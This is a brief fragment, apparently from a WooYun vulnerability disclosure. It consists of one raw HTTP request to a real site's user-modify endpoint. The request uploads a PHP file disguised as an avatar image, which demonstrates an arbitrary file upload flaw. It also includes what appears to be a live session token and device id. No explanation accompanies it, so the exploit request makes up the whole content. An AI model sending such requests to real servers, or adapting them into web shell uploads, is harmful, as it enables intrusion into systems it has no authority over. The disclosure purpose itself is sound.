WooYun.org

POST http://app.oeeee.com/user/modify HTTP/1.1
Content-Length: 583
Content-Type: multipart/form-data; boundary=F7XZieJ0HyfLor2HuLP_ceFO0_6agJ
Host: app.oeeee.com
Connection: Keep-Alive
Accept-Encoding: gzip
--F7XZieJ0HyfLor2HuLP_ceFO0_6agJ
Content-Disposition: form-data; name="token"
Content-Type: text/plain; charset=UTF-8
QVQmy57RWTPVf16LHm60DuYvgWTy58AUCs8XMArOFTlMkR4C9367W7RLstT:DbNPSF4hFw6lNUs
--F7XZieJ0HyfLor2HuLP_ceFO0_6agJ
Content-Disposition: form-data; name="deviceid"
Content-Type: text/plain; charset=UTF-8
ba0c2bfabbf7bddc
--F7XZieJ0HyfLor2HuLP_ceFO0_6agJ
Content-Disposition: form-data; name="avatar"; filename="test.php"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<?php phpinfo(); ?>
--F7XZieJ0HyfLor2HuLP_ceFO0_6agJ--